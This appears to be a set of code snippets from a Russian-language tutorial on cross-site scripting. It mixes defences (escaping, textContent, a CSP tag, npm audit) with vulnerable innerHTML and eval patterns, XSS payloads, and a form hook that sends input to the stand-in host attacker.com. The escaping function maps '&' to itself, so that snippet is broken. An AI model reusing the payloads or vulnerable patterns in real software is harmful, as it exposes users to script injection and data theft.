GET /index.html HTTP/1.1 
Host: www.example.com

GET /index.html HTTP/1.1 
Host: www.example.com 
Connection: keep-alive 
Upgrade-Insecure-Requests: 1 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3

function escapeHtml(unsafe) { 
    return unsafe 
        .replace(/&/g, "&") 
        .replace(/</g, "&lt;") 
        .replace(/>/g, "&gt;") 
        .replace(/"/g, "&quot;") 
        .replace(/'/g, "&#039;"); 
} 
 
const userInput = '<script>alert("XSS")</script>'; 
const safeInput = escapeHtml(userInput); 
document.getElementById('output').textContent = safeInput;

const userInput = '<script>alert("XSS")</script>'; 
const outputElement = document.getElementById('output'); 
 
// Использование textContent вместо innerHTML 
outputElement.textContent = userInput;

document.getElementById('userForm').addEventListener('submit', function(event) { 
const name = document.getElementById('name').value; 
 
// Пример простой валидации 
if (!/^[a-zA-Z ]+$/.test(name)) { 
    alert('Invalid name. Only letters and spaces are allowed.'); 
    event.preventDefault(); 
} 
});

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self' https://trusted.cdn.com;">

import React from 'react'; 
import ReactDOM from 'react-dom'; 
 
const userInput = '<script>alert("XSS")</script>'; 
 
function App() { 
    return ( 
        <div> 
            <h1>User Input</h1> 
            <p>{userInput}</p> {/* React автоматически экранирует данные */} 
        </div> 
    ); 
} 
 
ReactDOM.render(<App />, document.getElementById('root'));

# Обновление всех пакетов до последних версий
npm update
# Проверка наличия уязвимостей в пакетах
npm audit
# Автоматическое исправление уязвимостей
npm audit fix

// Когда пользователь переключается на другую вкладку
window.addEventListener('blur', () => {
    document.title = 'Вернитесь 😢'
})

// Когда пользователь возвращается на вашу страницу 
window.addEventListener('focus', () => {
    document.title = 't.me/WebTaverna 🙂'
})

<textarea id="comment">
<img src="x" onerror="alert('XSS')">
</textarea> 
<button onclick="saveComment()">Submit</button> 
<div id="comments"></div>

let comments = []; 
function saveComment() { 
    let comment = document.getElementById('comment').value; 
    comments.push(comment); 
    document.getElementById('comments').innerHTML += comment + '<br>'; 
}

<form method="get" action="/"> 
    <input type="text" name="q"> 
    <input type="submit" value="Search"> 
</form>

const query = new URLSearchParams(window.location.search).get('q'); 
document.body.innerHTML += query;

<form id="xssForm"> 
        <input type="text" id="userInput" placeholder="Enter text"> 
        <button type="submit">Submit</button> 
 </form> 
 <div id="output"></div>

 document.getElementById('xssForm').addEventListener('submit', function(e) { 
            e.preventDefault(); 
            var userInput = document.getElementById('userInput').value; 
            document.getElementById('output').innerHTML = userInput; 
 });

<div id="content"></div>

var maliciousScript = document.createElement('div'); 
maliciousScript.innerHTML = '<img src="x" onerror="step2()">';
 
document.getElementById('content').appendChild(maliciousScript);
 
function step2() { 
            var script = document.createElement('script'); 
            script.innerHTML = 'alert("XSS Attack!")'; 
            document.body.appendChild(script); 
}

<form action="http://example.com/submit" method="POST"> 
        <input type="text" name="name" placeholder="Enter your name"> 
        <input type="submit" value="Submit"> 
</form>

document.forms[0].onsubmit = function() { 
            fetch('http://attacker.com/log', { 
                method: 'POST', 
                headers: {'Content-Type': 'application/json'}, 
                body: JSON.stringify({data: document.forms[0].name.value}) 
            }); 
 };

<input id="input" type="text" placeholder="Enter text"> 
<button onclick="execute()">Run</button>

function execute() { 
  let input = document.getElementById('input').value; 
  eval(input);
}